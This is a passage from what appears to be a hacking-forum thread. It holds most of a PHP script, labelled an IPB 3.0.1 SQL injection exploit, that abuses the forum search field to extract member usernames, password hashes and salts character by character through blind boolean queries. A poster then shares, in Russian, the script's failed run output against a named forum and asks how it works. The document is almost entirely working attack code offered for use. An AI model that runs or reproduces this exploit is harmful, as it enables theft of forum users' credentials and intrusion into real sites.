if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//================================================== ===================
xecho("Target: $url\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("==========================================");
add_line("Target: $url");
if(isset($argv[4])){
login_to_forum($argv[4], $argv[5]);
}
$i = $chosen_id;
echo "Fetching topics from ID $i\n";
if(!fetch_target_id($i))
{
echo "No topics found.\n";
fwrite(STDOUT, "Last ditch effort, enter topic: ");
$topicname = trim(fgets(STDIN));
}
else echo "Topic found! Hacktime.\n";

// Check chosen option and proceed accordingly
add_line("------------------------------------------");
if($ch_option == 2){
$hash = get_hash($i);
$salt = get_salt($i);
$line = "$i:$hash:$salt";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
$uname = get_user($i);
$line = "The username for id $i is $uname";
add_line($line);
xecho("$uname");
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
function login_to_forum($user, $pass)
{
global $url;
$post = 'app=core&module=global&section=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'The login was successful!')>0){
xecho("Logged in.\n");
}
else{
xecho("Error: Unable to login.");
die;
}
}
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527';
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Moved Permanently')>0)
{
die('Ivalid. Try adding trailing slash to url. Exiting ...');
}

if(strpos($buff,'No results found for')>0)
{
die('Target is patched? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function fetch_target_id($id)
{
global $url, $topicname;
$post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'View result')>0){
$location = strpos($buff,'View result');
$start = strpos($buff,'>',$location)+1;
$end = strpos($buff,'</a>',$start);
$topicname = substr($buff,$start,($end-$start));
return true;
}
else return false;
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_user($id)
{
$len = 32;
$out = '';

xecho("Finding username ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_userchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current username: $out \n");
}

xecho("\nFinal username for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_userchar($pos, $id)
{
global $prefix;

$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 65;
$max = 122;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
global $topicname;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'app=core&module=search&section=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Your search for the term <em><strong>')>0)
{
$bret = true;
break;
}
elseif(strpos($buff,'No results found for')>0)
{
break;
}
elseif(strpos($buff, 'Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
xecho("This is going to take years...\n");
sleep(10);
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');


if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\r\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
///////////////////////////////////////////////////////////////////////
?>

kacergei
28.05.2010, 01:51
IPB 3.0.1 sql injection exploit

Вот результат работы:
Curl loading success
Target: http://forums.domen.ru/
Testing target URL ...
Target URL seems to be valid
Fetching topics from ID 3
No topics found.
Last ditch effort, enter topic: 7557
Finding hash ...
test_condition() - try 1 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 2 ...
test_condition() - try 2 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 3 ...
test_condition() - try 3 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 4 ...
test_condition() - try 4 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 5 ...
test_condition() - try 5 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 6 ...
test_condition() - try 6 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 7 ...
test_condition() - try 7 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 8 ...
test_condition() - try 8 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 9 ...
test_condition() - try 9 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 10 ...
test_condition() - try 10 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Too many tries - exiting ...
Как он работает не очень понял можно поподробней а то он чтот не хочет работать